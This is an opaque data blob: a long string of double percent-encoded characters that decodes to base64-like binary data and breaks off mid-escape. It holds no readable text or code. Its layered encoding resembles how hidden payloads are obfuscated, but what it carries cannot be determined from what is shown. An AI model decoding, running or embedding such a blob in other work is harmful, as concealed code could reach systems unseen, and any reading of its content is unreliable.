%37%30%25%35%37%25%34%36%25%37%34%25%33%39%25%36%32%25%33%30%25%35%31%25%32%66%25%35%31%25%34%62%25%35%32%25%34%63%25%36%36%25%34%31%25%37%36%25%37%33%25%33%33%25%37%38%25%33%36%25%32%62%25%37%32%25%37%61%25%37%36%25%34%36%25%35%33%25%34%63%25%36%64%25%34%33%25%36%62%25%34%39%25%34%63%25%33%35%25%32%66%25%36%39%25%34%36%25%37%37%25%33%34%25%32%62%25%35%31%25%34%33%25%34%39%25%35%37%25%35%30%25%34%35%25%37%35%25%33%31%25%35%36%25%33%35%25%35%31%25%35%61%25%35%37%25%37%32%25%35%33%25%36%65%25%35%39%25%36%36%25%33%32%25%35%34%25%34%37%25%37%61%25%37%31%25%34%31%25%34%64%25%36%32%25%34%62%25%36%39%25%34%62%25%32%66%25%34%37%25%36%32%25%34%34%25%35%39%25%37%61%25%35%31%25%35%35%25%35%35%25%36%63%25%37%38%25%34%65%25%34%39%25%37%35%25%34%35%25%33%37%25%37%32%25%36%61%25%33%39%25%37%33%25%37%35%25%36%34%25%35%36%25%34%34%25%35%31%25%37%37%25%37%61%25%35%30%25%37%30%25%34%65%25%34%62%25%35%32%25%36%66%25%35%33%25%33%35%25%36%62%25%36%31%25%34%62%25%35%30%25%34%63%25%37%37%25%36%31%25%34%33%25%37%38%25%35%61%25%33%33%25%33%37%25%35%38%25%36%64%25%34%35%25%35%61%25%33%33%25%33%39%25%34%34%25%34%66%25%37%31%25%35%38%25%36%38%25%35%38%25%34%63%25%36%35%25%35%34%25%35%34%25%37%37%25%33%37%25%36%39%25%37%61%25%35%33%25%35%35%25%35%39%25%33%31%25%37%36%25%37%30%25%35%39%25%34%64%25%35%35%25%34%66%25%36%66%25%35%36%25%34%39%25%35%32%25%36%38%25%37%38%25%37%37%25%36%66%25%37%61%25%34%61%25%34%31%25%36%66%25%32%66%25%34%61%25%36%64%25%37%37%25%34%65%25%34%63%25%35%36%25%36%35%25%34%34%25%35%32%25%34%61%25%35%35%25%37%39%25%35%61%25%34%65%25%33%35%25%33%36%25%33%35%25%37%32%25%35%35%25%37%36%25%33%36%25%36%61%25%34%65%25%36%64%25%35%32%25%33%34%25%34%39%25%37%37%25%36%35%25%33%39%25%33%35%25%33%39%25%34%34%25%36%31%25%33%34%25%35%37%25%33%31%25%32%62%25%36%66%25%36%61%25%34%35%25%37%30%25%35%36%25%36%64%25%35%32%25%34%62%25%33%32%25%34%37%25%33%39%25%33%35%25%37%38%25%34%63%25%37%38%25%34%64%25%34%61%25%35%37%25%34%65%25%36%32%25%34%32%25%34%32%25%36%37%25%36%65%25%36%61%25%34%35%25%34%39%25%37%31%25%33%30%25%36%37%25%34%33%25%36%65%25%36%66%25%34%35%25%33%36%25%36%33%25%36%66%25%37%37%25%34%62%25%35%34%25%34%64%25%37%31%25%36%36%25%34%32%25%37%36%25%37%35%25%32%62%25%37%34%25%33%31%25%37%34%25%32%66%25%33%30%25%35%31%25%35%33%25%34%61%25%34%36%25%34%34%25%35%34%25%34%38%25%35%37%25%35%36%25%36%66%25%34%35%25%34%65%25%36%62%25%33%35%25%33%33%25%34%62%25%35%39%25%33%33%25%36%61%25%34%65%25%37%37%25%37%34%25%33%38%25%35%61%25%36%38%25%36%61%25%36%32%25%34%62%25%35%37%25%34%35%25%36%38%25%34%36%25%36%61%25%34%35%25%32%62%25%36%65%25%36%38%25%35%36%25%34%38%25%37%36%25%37%37%25%34%32%25%35%38%25%35%30%25%37%30%25%37%33%25%35%36%25%37%33%25%34%66%25%36%61%25%35%30%25%35%38%25%33%34%25%37%31%25%36%62%25%33%32%25%36%63%25%36%66%25%33%35%25%34%38%25%36%62%25%34%32%25%37%35%25%37%31%25%34%32%25%37%61%25%36%62%25%37%36%25%34%66%25%37%37%25%36%62%25%34%65%25%37%38%25%33%30%25%37%37%25%34%31%25%35%30%25%33%33%25%33%36%25%37%35%25%33%35%25%36%35%25%34%64%25%33%39%25%35%34%25%33%36%25%35%36%25%36%34%25%36%64%25%36%32%25%34%66%25%37%39%25%37%31%25%32%62%25%37%30%25%33%31%25%36%35%25%36%34%25%36%32%25%36%63%25%37%39%25%37%33%25%34%62%25%32%66%25%35%33%25%34%31%25%34%34%25%35%61%25%33%33%25%37%32%25%35%36%25%35%33%25%33%39%25%32%66%25%34%35%25%36%36%25%34%61%25%34%32%25%33%36%25%34%36%25%36%36%25%37%32%25%35%37%25%35%34%25%37%61%25%35%31%25%34%66%25%33%38%25%36%33%25%35%31%25%36%33%25%34%65%25%32%66%25%35%35%25%35%32%25%37%38%25%36%39%25%35%32%25%35%30%25%35%33%25%34%64%25%35%61%25%34%64%25%34%34%25%35%61%25%36%65%25%34%36%25%34%39%25%37%39%25%34%39%25%33%39%25%35%39%25%36%64%25%34%39%25%34%35%25%34%61%25%33%34%25%35%35%25%34%34%25%35%34%25%36%33%25%37%39%25%33%31%25%35%32%25%36%61%25%33%32%25%33%39%25%36%32%25%34%35%25%33%33%25%36%38%25%35%36%25%37%33%25%34%65%25%36%38%25%36%64%25%35%36%25%33%33%25%35%35%25%35%34%25%36%66%25%34%36%25%35%34%25%33%30%25%33%36%25%33%32%25%35%39%25%33%36%25%34%65%25%36%33%25%33%37%25%34%38%25%34%32%25%33%37%25%35%33%25%37%30%25%35%37%25%33%33%25%37%30%25%35%37%25%36%32%25%36%39%25%33%30%25%36%37%25%33%37%25%36%36%25%35%33%25%32%66%25%37%36%25%33%31%25%33%33%25%36%34%25%36%31%25%34%37%25%33%32%25%36%32%25%36%39%25%37%38%25%37%32%25%34%35%25%37%34%25%37%36%25%36%65%25%35%34%25%32%62%25%37%33%25%37%31%25%37%34%25%32%62%25%34%32%25%33%31%25%35%34%25%34%36%25%36%33%25%33%38%25%36%31%25%37%34%25%35%38%25%34%31%25%34%36%25%35%61%25%35%36%25%34%66%25%35%33%25%37%36%25%34%66%25%36%31%25%34%39%25%36%38%25%34%37%25%36%39%25%33%37%25%35%33%25%37%37%25%37%30%25%36%64%25%34%31%25%35%39%25%33%30%25%36%36%25%36%63%25%36%66%25%33%31%25%36%66%25%35%35%25%34%33%25%34%32%25%35%33%25%36%64%25%34%62%25%36%38%25%37%39%25%36%62%25%37%35%25%34%65%25%34%34%25%37%33%25%37%35%25%36%38%25%33%35%25%34%65%25%33%39%25%35%38%25%37%61%25%36%37%25%36%39%25%32%62%25%34%35%25%36%61%25%34%31%25%35%31%25%33%35%25%33%34%25%34%37%25%33%30%25%35%37%25%37%34%25%34%37%25%36%34%25%35%37%25%36%63%25%33%34%25%36%65%25%35%36%25%33%37%25%34%34%25%34%38%25%37%32%25%34%64%25%36%61%25%34%66%25%36%35%25%34%61%25%35%36%25%34%65%25%33%36%25%35%39%25%35%32%25%34%61%25%34%63%25%32%66%25%34%38%25%37%35%25%34%64%25%34%61%25%35%37%25%33%38%25%36%65%25%36%32%25%34%64%25%37%31%25%34%64%25%36%38%25%33%33%25%34%34%25%34%61%25%35%35%25%35%38%25%34%32%25%32%62%25%36%37%25%34%34%25%34%66%25%33%33%25%37%39%25%35%61%25%36%32%25%34%65%25%33%33%25%32%66%25%37%30%25%34%65%25%33%35%25%36%35%25%36%35%25%36%32%25%32%66%25%34%32%25%36%37%25%33%37%25%34%66%25%36%32%25%36%62%25%37%35%25%36%62%25%37%37%25%34%64%25%36%34%25%36%62%25%33%38%25%32%62%25%35%31%25%33%39%25%33%33%25%36%36%25%35%36%25%36%35%25%36%38%25%35%35%25%35%36%25%34%33%25%37%32%25%35%35%25%37%61%25%33%30%25%34%32%25%33%31%25%37%32%25%33%30%25%37%39%25%35%39%25%33%39%25%32%66%25%37%39%25%36%34%25%35%31%25%36%33%25%34%38%25%33%36%25%36%32%25%34%39%25%36%34%25%37%32%25%36%64%25%34%64%25%37%35%25%33%32%25%37%31%25%36%39%25%37%32%25%37%38%25%33%32%25%36%65%25%37%33%25%33%34%25%34%33%25%34%61%25%37%35%25%37%35%25%33%31%25%32%62%25%33%32%25%36%63%25%37%38%25%33%30%25%34%34%25%34%61%25%36%34%25%33%33%25%32%66%25%36%33%25%36%36%25%35%61%25%37%38%25%34%39%25%34%64%25%34%33%25%35%33%25%35%34%25%37%30%25%34%34%25%36%66%25%36%34%25%37%61%25%35%61%25%35%32%25%33%35%25%36%34%25%34%36%25%35%32%25%32%62%25%33%32%25%36%61%25%33%31%25%36%38%25%36%61%25%37%32%25%35%33%25%36%34%25%34%35%25%35%36%25%35%30%25%37%61%25%37%30%25%36%64%25%37%35%25%34%66%25%37%33%25%34%33%25%34%61%25%34%39%25%34%31%25%33%37%25%35%38%25%33%35%25%33%34%25%34%66%25%33%39%25%34%39%25%36%65%25%36%64%25%37%32%25%34%35%25%35%37%25%36%64%25%36%63%25%35%30%25%35%35%25%36%32%25%34%32%25%34%39%25%34%63%25%37%34%25%35%31%25%34%33%25%37%30%25%34%33%25%36%39%25%36%33%25%34%36%25%36%61%25%34%32%25%34%63%25%36%65%25%36%61%25%36%37%25%37%61%25%36%33%25%35%31%25%37%61%25%36%32%25%37%39%25%37%36%25%35%61%25%36%35%25%37%36%25%34%31%25%34%39%25%33%30%25%36%66%25%36%31%25%37%32%25%36%65%25%33%38%25%37%39%25%35%30%25%33%36%25%37%31%25%35%35%25%34%65%25%34%33%25%36%64%25%33%36%25%34%38%25%33%34%25%34%61%25%36%37%25%36%32%25%34%32%25%34%61%25%35%61%25%33%38%25%36%63%25%35%31%25%36%31%25%34%62%25%34%35%25%34%62%25%35%33%25%35%33%25%34%36%25%37%61%25%32%62%25%33%35%25%34%36%25%35%33%25%34%35%25%35%35%25%36%37%25%36%36%25%35%36%25%34%65%25%34%66%25%34%39%25%35%31%25%36%38%25%34%62%25%35%36%25%37%38%25%35%32%25%34%34%25%34%37%25%36%63%25%35%38%25%34%32%25%36%36%25%34%31%25%36%39%25%34%32%25%34%36%25%34%37%25%34%39%25%35%38%25%37%32%25%33%36%25%34%35%25%35%33%25%34%38%25%37%61%25%33%30%25%34%31%25%36%62%25%35%32%25%37%32%25%37%36%25%34%61%25%36%39%25%32%62%25%36%65%25%36%34%25%35%31%25%37%35%25%37%39%25%33%32%25%32%66%25%33%32%25%34%63%25%37%33%25%37%30%25%37%32%25%36%33%25%34%37%25%34%62%25%37%32%25%33%39%25%33%32%25%32%66%25%36%37%25%33%39%25%34%36%25%33%30%25%36%37%25%32%66%25%34%65%25%32%62%25%33%32%25%33%37%25%33%39%25%37%33%25%33%37%25%36%34%25%35%32%25%37%39%25%33%32%25%34%39%25%34%31%25%34%35%25%34%36%25%36%36%25%36%36%25%37%34%25%32%66%25%34%34%25%33%35%25%37%34%25%36%65%25%34%34%25%33%31%25%36%61%25%36%35%25%35%30%25%35%31%25%36%64%25%37%39%25%34%36%25%33%31%25%35%31%25%33%32%25%34%66%25%35%35%25%34%35%25%36%34%25%37%30%25%33%35%25%34%36%25%36%66%25%36%39%25%36%39%25%37%39%25%37%36%25%36%32%25%37%34%25%34%62%25%34%35%25%37%61%25%35%39%25%37%39%25%37%31%25%36%62%25%37%37%25%33%35%25%36%31%25%34%62%25%36%65%25%37%34%25%37%39%25%36%36%25%37%33%25%35%34%25%33%31%25%36%32%25%34%32%25%37%38%25%35%38%25%37%39%25%37%30%25%34%34%25%34%64%25%34%64%25%37%34%25%35%61%25%36%38%25%34%37%25%35%32%25%34%66%25%36%38%25%35%38%25%34%38%25%35%37%25%36%62%25%36%31%25%37%30%25%36%37%25%37%39%25%34%61%25%36%62%25%34%38%25%34%36%25%36%31%25%37%30%25%36%33%25%32%66%25%34%32%25%33%32%25%35%32%25%34%63%25%33%38%25%36%34%25%34%37%25%33%31%25%34%34%25%37%34%25%35%61%25%34%35%25%36%62%25%35%34%25%36%65%25%37%30%25%33%38%25%37%35%25%37%39%25%34%31%25%34%36%25%33%30%25%37%34%25%37%31%25%34%31%25%33%38%25%33%34%25%35%36%25%35%37%25%36%37%25%36%31%25%37%30%25%37%32%25%37%34%25%34%35%25%35%35%25%34%37%25%37%34%25%34%38%25%34%34%25%37%30%25%34%36%25%37%61%25%36%38%25%36%62%25%34%64%25%36%37%25%37%38%25%32%62%25%35%36%25%36%36%25%36%39%25%36%32%25%32%66%25%37%31%25%34%63%25%33%32%25%34%37%25%33%39%25%36%38%25%35%33%25%35%39%25%36%39%25%35%38%25%35%32%25%34%65%25%36%34%25%34%37%25%33%37%25%34%38%25%37%61%25%35%35%25%36%36%25%35%35%25%34%32%25%34%34%25%34%37%25%34%35%25%34%65%25%36%66%25%34%31%25%34%66%25%35%38%25%33%39%25%36%37%25%33%37%25%33%36%25%34%37%25%34%65%25%35%39%25%34%32%25%36%33%25%34%61%25%35%30%25%34%34%25%37%37%25%34%39%25%35%38%25%34%65%25%34%64%25%36%36%25%35%33%25%32%66%25%37%38%25%34%64%25%32%66%25%33%31%25%34%35%25%32%62%25%34%39%25%33%34%25%37%35%25%36%61%25%34%62%25%35%38%25%37%31%25%36%32%25%34%31%25%37%33%25%34%39%25%35%37%25%36%33%25%37%35%25%32%66%25%37%39%25%36%36%25%34%61%25%37%32%25%33%36%25%34%38%25%35%37%25%37%32%25%36%63%25%35%36%25%34%65%25%35%37%25%36%34%25%33%37%25%36%33%25%36%31%25%36%31%25%37%34%25%35%35%25%32%66%25%37%31%25%36%61%25%36%34%25%36%66%25%34%61%25%33%32%25%34%64%25%35%33%25%35%36%25%35%39%25%37%38%25%35%31%25%36%64%25%33%30%25%35%33%25%36%39%25%32%66%25%37%39%25%36%63%25%32%66%25%35%39%25%33%31%25%34%31%25%36%31%25%34%61%25%34%64%25%34%39%25%33%30%25%35%37%25%33%39%25%37%37%25%32%66%25%37%39%25%37%38%25%33%38%25%34%64%25%36%63%25%35%37%25%37%34%25%34%34%25%33%39%25%37%36%25%34%34%25%33%33%25%33%32%25%34%65%25%36%39%25%36%66%25%34%64%25%35%39%25%37%30%25%35%32%25%36%65%25%36%66%25%33%35%25%35%33%25%35%38%25%33%38%25%37%34%25%36%61%25%34%62%25%35%35%25%37%31%25%37%30%25%33%30%25%35%38%25%34%66%25%33%30%25%36%34%25%34%62%25%33%32%25%35%30%25%34%66%25%34%64%25%35%35%25%35%61%25%34%64%25%36%35%25%36%66%25%32%62%25%36%62%25%36%63%25%33%38%25%37%36%25%34%66%25%36%63%25%34%38%25%36%34%25%36%38%25%35%32%25%34%33%25%34%31%25%34%38%25%35%30%25%33%35%25%36%66%25%37%38%25%35%38%25%34%31%25%34%64%25%37%37%25%33%32%25%34%31%25%37%36%25%36%38%25%37%39%25%35%33%25%35%36%25%33%39%25%34%33%25%36%66%25%35%61%25%34%36%25%36%63%25%37%33%25%36%32%25%33%37%25%37%38%25%32%62%25%36%31%25%33%33%25%34%64%25%36%33%25%34%35%25%34%37%25%37%31%25%33%39%25%36%66%25%34%61%25%36%34%25%35%30%25%35%39%25%36%63%25%36%33%25%34%37%25%36%31%25%37%61%25%34%34%25%34%61%25%36%35%25%36%61%25%37%61%25%36%66%25%37%33%25%36%38%25%33%33%25%36%64%25%36%63%25%36%66%25%34%38%25%36%34%25%33%31%25%34%61%25%34%34%25%36%34%25%34%63%25%34%38%25%37%37%25%35%35%25%35%39%25%35%32%25%35%38%25%34%36%25%33%32%25%36%31%25%35%32%25%32%66%25%33%34%25%37%37%25%36%62%25%34%65%25%37%61%25%37%37%25%34%31%25%35%35%25%34%62%25%33%31%25%37%36%25%37%38%25%33%36%25%34%33%25%32%62%25%32%66%25%37%38%25%37%39%25%34%62%25%36%61%25%34%66%25%37%33%25%32%66%25%35%33%25%33%35%25%37%34%25%37%33%25%37%30%25%36%66%25%37%33%25%34%66%25%35%33%25%34%31%25%36%32%25%34%33%25%37%33%25%33%31%25%36%63%25%35%33%25%37%35%25%36%35%25%37%30%25%36%62%25%37%30%25%34%39%25%32%66%25%37%30%25%35%38%25%33%32%25%37%34%25%35%35%25%35%38%25%36%38%25%37%34%25%34%64%25%33%36%25%37%31%25%34%37%25%37%30%25%33%35%25%37%61%25%37%37%25%34%33%25%34%36%25%37%33%25%37%38%25%33%30%25%36%34%25%33%30%25%33%30%25%37%38%25%33%30%25%33%30%25%36%35%25%37%35%25%36%64%25%36%38%25%35%31%25%34%36%25%35%30%25%36%35%25%32%66%25%35%38%25%35%31%25%33%39%25%33%39%25%35%32%25%37%31%25%36%37%25%37%38%25%33%32%25%34%31%25%34%62%25%34%34%25%32%62%25%36%63%25%34%34%25%37%37%25%36%63%25%37%34%25%34%61%25%36%35%25%34%36%25%36%65%25%35%39%25%35%30%25%33%34%25%36%38%25%36%35%25%34%62%25%34%36%25%34%66%25%36%36%25%37%32%25%36%61%25%34%66%25%35%61%25%32%66%25%33%30%25%36%63%25%34%64%25%36%35%25%33%31%25%37%31%25%35%34%25%36%65%25%33%38%25%37%31%25%34%64%25%36%65%25%35%36%25%33%35%25%34%61%25%36%38%25%35%35%25%34%65%25%37%30%25%36%31%25%36%33%25%37%31%25%35%34%25%36%65%25%34%37%25%36%32%25%34%38%25%37%38%25%35%37%25%36%36%25%35%32%25%34%61%25%34%62%25%34%34%25%34%33%25%35%34%25%34%66%25%34%62%25%36%62%25%34%61%25%37%37%25%33%30%25%34%32%25%33%32%25%34%31%25%37%30%25%34%32%25%36%34%25%34%62%25%34%64%25%36%37%25%37%37%25%34%37%25%35%61%25%36%31%25%35%35%25%36%38%25%34%33%25%37%31%25%34%31%25%35%38%25%33%35%25%34%32%25%36%36%25%37%30%25%33%34%25%36%37%25%33%30%25%37%35%25%35%30%25%37%61%25%34%61%25%34%35%25%34%35%25%36%62%25%36%65%25%36%31%25%36%34%25%35%31%25%37%35%25%34%39%25%36%61%25%36%65%25%37%31%25%35%34%25%37%38%25%33%38%25%35%35%25%35%38%25%36%65%25%36%65%25%36%65%25%36%32%25%34%37%25%37%31%25%33%36%25%33%37%25%37%39%25%37%61%25%34%38%25%37%34%25%35%35%25%35%30%25%33%38%25%33%31%25%33%38%25%36%63%25%37%37%25%33%34%25%37%32%25%33%34%25%37%30%25%33%34%25%34%34%25%35%39%25%34%32%25%32%66%25%35%37%25%36%36%25%34%34%25%34%61%25%33%35%25%33%38%25%33%35%25%35%31%25%35%39%25%34%33%25%34%35%25%34%38%25%36%38%25%34%33%25%35%34%25%36%39%25%34%39%25%35%61%25%37%39%25%37%32%25%33%32%25%34%66%25%35%32%25%36%62%25%37%33%25%35%38%25%34%36%25%32%66%25%33%31%25%37%30%25%36%32%25%33%32%25%36%63%25%34%36%25%34%35%25%33%33%25%33%33%25%37%35%25%34%37%25%33%39%25%33%36%25%36%32%25%36%31%25%36%64%25%37%33%25%37%33%25%37%61%25%34%33%25%35%61%25%34%32%25%35%61%25%36%31%25%36%34%25%34%66%25%34%33%25%34%32%25%33%35%25%37%37%25%33%30%25%32%62%25%37%31%25%35%31%25%36%35%25%32%62%25%36%32%25%33%34%25%36%31%25%36%64%25%33%37%25%34%38%25%34%33%25%36%38%25%35%36%25%35%34%25%34%39%25%34%61%25%37%38%25%36%66%25%33%30%25%36%37%25%33%38%25%36%35%25%34%32%25%37%32%25%37%36%25%36%66%25%35%36%25%36%64%25%33%31%25%36%63%25%35%31%25%34%34%25%32%62%25%34%66%25%37%34%25%34%34%25%37%39%25%34%64%25%35%38%25%37%34%25%36%37%25%37%37%25%34%61%25%35%39%25%37%32%25%34%37%25%35%36%25%35%30%25%34%34%25%33%30%25%34%63%25%37%39%25%37%31%25%35%34%25%34%66%25%34%62%25%34%62%25%34%63%25%34%61%25%35%38%25%33%36%25%33%31%25%37%38%25%37%34%25%37%30%25%34%33%25%35%37%25%32%66%25%36%36%25%36%39%25%36%66%25%35%39%25%35%33%25%35%61%25%36%39%25%37%30%25%34%64%25%37%31%25%34%66%25%33%35%25%36%32%25%33%30%25%37%32%25%35%31%25%33%30%25%36%31%25%37%38%25%37%34%25%32%62%25%33%37%25%36%32%25%33%32%25%33%32%25%37%33%25%37%33%25%36%62%25%34%31%25%34%35%25%35%31%25%34%65%25%34%32%25%37%61%25%35%38%25%36%38%25%34%61%25%33%38%25%33%39%25%36%34%25%37%37%25%33%35%25%35%30%25%35%36%25%34%37%25%35%34%25%37%34%25%35%34%25%37%61%25%34%36%25%36%39%25%36%66%25%35%32%25%35%61%25%33%32%25%33%34%25%33%31%25%37%30%25%33%38%25%34%35%25%36%34%25%34%39%25%35%39%25%36%31%25%36%64%25%35%37%25%37%33%25%34%66%25%36%31%25%34%65%25%37%37%25%35%30%25%35%31%25%34%65%25%33%36%25%35%61%25%34%61%25%33%38%25%34%36%25%33%36%25%34%31%25%34%32%25%33%30%25%37%39%25%37%32%25%34%39%25%36%34%25%37%32%25%35%33%25%34%61%25%34%61%25%36%62%25%33%34%25%35%34%25%34%63%25%34%32%25%33%33%25%36%65%25%36%65%25%33%36%25%36%39%25%34%64%25%36%34%25%34%66%25%37%34%25%37%36%25%33%32%25%37%39%25%34%66%25%34%64%25%33%31%25%35%36%25%37%31%25%37%35%25%37%30%25%34%33%25%34%34%25%34%33%25%37%37%25%33%34%25%36%63%25%34%61%25%35%31%25%34%64%25%37%35%25%36%66%25%34%65%25%36%62%25%36%61%25%34%33%25%36%37%25%34%34%25%36%32%25%35%36%25%35%61%25%35%37%25%34%61%25%36%63%25%35%33%25%35%36%25%34%32%25%33%39%25%34%34%25%34%64%25%35%34%25%35%31%25%32%66%25%37%33%25%36%32%25%33%36%25%36%61%25%36%65%25%33%31%25%35%36%25%36%36%25%34%38%25%34%63%25%36%62%25%34%31%25%34%33%25%35%39%25%36%39%25%33%32%25%35%38%25%34%38%25%37%31%25%37%36%25%34%34%25%36%61%25%35%31%25%33%37%25%37%32%25%36%61%25%33%37%25%37%30%25%33%37%25%35%38%25%32%66%25%37%35%25%37%38%25%35%30%25%33%32%25%36%66%25%37%30%25%34%61%25%36%62%25%35%32%25%36%34%25%35%36%25%33%30%25%37%37%25%33%37%25%35%32%25%37%33%25%37%38%25%32%66%25%35%36%25%33%38%25%36%36%25%36%38%25%35%32%25%35%35%25%34%65%25%34%34%25%34%31%25%33%36%25%34%32%25%36%39%25%36%31%25%35%37%25%36%34%25%34%37%25%37%37%25%36%33%25%34%37%25%36%32%25%36%38%25%33%34%25%34%31%25%34%34%25%33%34%25%34%32%25%34%39%25%35%32%25%34%35%25%37%38%25%34%33%25%35%33%25%36%62%25%35%61%25%34%66%25%35%31%25%35%35%25%36%63%25%34%36%25%35%31%25%35%32%25%34%62%25%35%34%25%35%35%25%34%65%25%34%63%25%35%32%25%33%38%25%32%66%25%34%31%25%34%33%25%34%37%25%34%66%25%35%33%25%34%62%25%35%39%25%37%34%25%35%61%25%35%36%25%33%39%25%36%62%25%37%33%25%37%32%25%34%37%25%37%61%25%37%33%25%34%38%25%34%32%25%34%33%25%34%64%25%36%66%25%34%32%25%36%38%25%34%66%25%36%62%25%34%32%25%35%34%25%34%65%25%37%33%25%34%32%25%37%37%25%37%36%25%36%39%25%34%61%25%34%62%25%37%33%25%37%31%25%34%61%25%37%30%25%37%35%25%36%64%25%34%61%25%36%32%25%37%34%25%34%31%25%34%65%25%36%36%25%37%61%25%36%37%25%37%61%25%34%33%25%34%62%25%36%62%25%37%61%25%35%34%25%34%63%25%36%39%25%33%37%25%34%62%25%37%31%25%36%64%25%33%37%25%36%32%25%37%32%25%36%38%25%33%33%25%34%37%25%36%31%25%36%63%25%33%33%25%35%38%25%36%32%25%36%61%25%32%66%25%34%66%25%33%36%25%36%65%25%32%66%25%36%36%25%33%37%25%36%34%25%35%33%25%34%65%25%36%36%25%34%62%25%34%61%25%36%32%25%34%62%25%36%63%25%35%37%25%37%31%25%37%34%25%34%34%25%36%61%25%35%33%25%36%31%25%37%32%25%35%38%25%36%31%25%36%65%25%33%32%25%32%62%25%37%33%25%35%30%25%35%31%25%34%31%25%36%38%25%34%37%25%35%35%25%34%31%25%37%37%25%36%65%25%35%33%25%34%39%25%37%30%25%36%64%25%35%37%25%34%39%25%33%34%25%35%38%25%35%32%25%34%35%25%36%63%25%35%37%25%35%36%25%34%35%25%33%30%25%33%33%25%35%34%25%34%64%25%37%34%25%33%32%25%35%38%25%34%64%25%33%38%25%35%30%25%37%37%25%36%39%25%36%38%25%34%66%25%33%30%25%37%35%25%34%36%25%36%66%25%35%30%25%34%61%25%36%65%25%34%66%25%33%35%25%36%37%25%37%33%25%34%31%25%34%35%25%35%33%25%36%31%25%35%35%25%36%33%25%35%33%25%34%37%25%35%36%25%34%65%25%36%61%25%35%39%25%34%39%25%36%66%25%37%61%25%36%38%25%34%61%25%35%38%25%35%61%25%35%39%25%35%38%25%35%61%25%35%36%25%35%35%25%33%33%25%36%32%25%36%34%25%36%33%25%35%30%25%33%34%25%37%61%25%35%31%25%37%36%25%33%36%25%33%37%25%35%39%25%36%36%25%33%35%25%33%33%25%35%35%25%32%66%25%33%37%25%32%62%25%36%34%25%32%66%25%35%31%25%36%33%25%35%31%25%36%37%25%37%39%25%35%39%25%37%31%25%37%31%25%33%36%25%35%39%25%35%61%25%37%30%25%33%32%25%36%33%25%37%31%25%36%61%25%34%31%25%34%63%25%34%31%25%34%34%25%34%34%25%35%38%25%37%34%25%34%31%25%34%66%25%34%31%25%34%34%25%34%32%25%34%33%25%36%37%25%35%39%25%37%33%25%34%66%25%35%30%25%34%33%25%37%37%25%35%31%25%35%31%25%34%31%25%33%32%25%36%64%25%37%31%25%35%32%25%36%61%25%33%36%25%37%61%25%34%37%25%37%34%25%36%37%25%36%32%25%33%30%25%33%37%25%33%38%25%37%38%25%33%39%25%34%31%25%35%34%25%36%65%25%36%62%25%37%35%25%36%65%25%35%33%25%33%33%25%37%32%25%36%33%25%35%34%25%34%64%25%33%39%25%36%63%25%36%31%25%33%36%25%37%31%25%33%30%25%33%32%25%35%37%25%37%61%25%37%31%25%36%38%25%34%63%25%33%39%25%37%30%25%34%37%25%33%34%25%37%36%25%37%33%25%37%34%25%34%66%25%36%37%25%36%64%25%35%36%25%34%64%25%35%36%25%33%33%25%37%30%25%36%62%25%33%32%25%33%33%25%32%62%25%33%31%25%35%38%25%36%35%25%33%30%25%33%33%25%34%33%25%34%31%25%36%63%25%35%61%25%36%32%25%34%38%25%34%34%25%36%36%25%34%32%25%34%61%25%37%37%25%37%38%25%33%34%25%35%31%25%35%61%25%35%34%25%36%62%25%36%63%25%34%31%25%36%62%25%33%32%25%37%32%25%36%64%25%36%38%25%34%33%25%33%38%25%35%39%25%33%31%25%33%31%25%36%36%25%34%31%25%35%30%25%34%35%25%37%30%25%34%33%25%35%37%25%37%32%25%37%32%25%36%39%25%37%35%25%36%36%25%36%37%25%34%32%25%34%31%25%33%36%25%34%61%25%34%62%25%36%33%25%37%33%25%35%37%25%33%38%25%35%31%25%33%31%25%35%31%25%35%33%25%37%31%25%36%32%25%36%38%25%33%30%25%35%36%25%34%61%25%36%32%25%36%37%25%34%35%25%36%32%25%35%36%25%37%37%25%36%63%25%35%33%25%36%35%25%35%35%25%37%33%25%36%34%25%33%33%25%37%37%25%34%31%25%37%38%25%35%33%25%35%32%25%33%37%25%36%63%25%33%36%25%36%65%25%35%38%25%34%33%25%35%35%25%35%36%25%34%63%25%34%62%25%35%61%25%34%32%25%37%33%25%33%33%25%33%32%25%37%34%25%33%34%25%35%39%25%32%62%25%34%31%25%36%32%25%34%36%25%35%38%25%37%39%25%35%36%25%34%62%25%36%33%25%36%62%25%36%66%25%34%34%25%33%31%25%36%63%25%37%32%25%34%65%25%33%38%25%35%39%25%34%39%25%36%66%25%37%39%25%35%33%25%36%64%25%34%65%25%35%37%25%34%37%25%36%36%25%34%32%25%33%38%25%35%39%25%34%39%25%36%66%25%37%39%25%35%33%25%36%62%25%37%34%25%35%37%25%34%37%25%32%66%25%34%32%25%33%38%25%35%39%25%34%39%25%36%66%25%37%39%25%35%33%25%36%62%25%34%34%25%34%35%25%34%32%25%37%37%25%34%34%25%35%32%25%36%31%25%34%31%25%37%39%25%35%33%25%34%39%25%37%31%25%34%66%25%36%64%25%35%31%25%34%34%25%37%37%25%36%38%25%33%30%25%35%38%25%34%31%25%34%34%25%35%39%25%34%38%25%34%33%25%34%35%25%34%35%25%34%62%25%33%34%25%34%32%25%34%63%25%36%39%25%37%35%25%35%61%25%34%32%25%35%32%25%34%33%25%33%36%25%34%32%25%34%31%25%36%34%25%33%30%25%33%32%25%36%37%25%37%35%25%34%31%25%33%31%25%33%31%25%34%66%25%34%66%25%36%37%25%35%61%25%36%61%25%36%61%25%34%34%25%34%38%25%36%35%25%34%32%25%34%39%25%34%31%25%33%30%25%37%37%25%36%61%25%34%35%25%36%61%25%33%34%25%35%39%25%35%61%25%36%64%25%33%34%25%33%30%25%36%39%25%35%33%25%34%61%25%34%61%25%37%34%25%34%65%25%37%35%25%35%31%25%37%31%25%37%36%25%33%34%25%37%35%25%34%39%25%35%34%25%37%31%25%34%39%25%32%66%25%33%36%25%34%35%25%36%62%25%36%65%25%35%32%25%34%64%25%36%36%25%34%61%25%36%62%25%36%37%25%34%31%25%36%61%25%34%38%25%35%36%25%34%65%25%35%30%25%35%32%25%35%39%25%36%38%25%34%61%25%34%65%25%33%30%25%37%61%25%35%32%25%34%65%25%34%62%25%33%30%25%32%66%25%36%37%25%37%34%25%36%31%25%34%33%25%34%34%25%34%35%25%37%39%25%36%38%25%37%39%25%34%63%25%34%37%25%34%37%25%35%33%25%36%66%25%36%64%25%34%66%25%34%35%25%34%61%25%32%66%25%34%39%25%33%34%25%34%33%25%34%35%25%33%36%25%36%62%25%37%39%25%34%38%25%34%37%25%34%35%25%35%33%25%35%39%25%37%31%25%34%66%25%34%35%25%35%61%25%32%66%25%34%33%25%33%34%25%37%39%25%34%35%25%33%34%25%36%38%25%35%33%25%34%63%25%34%38%25%34%35%25%37%39%25%35%39%25%37%30%25%32%62%25%36%65%25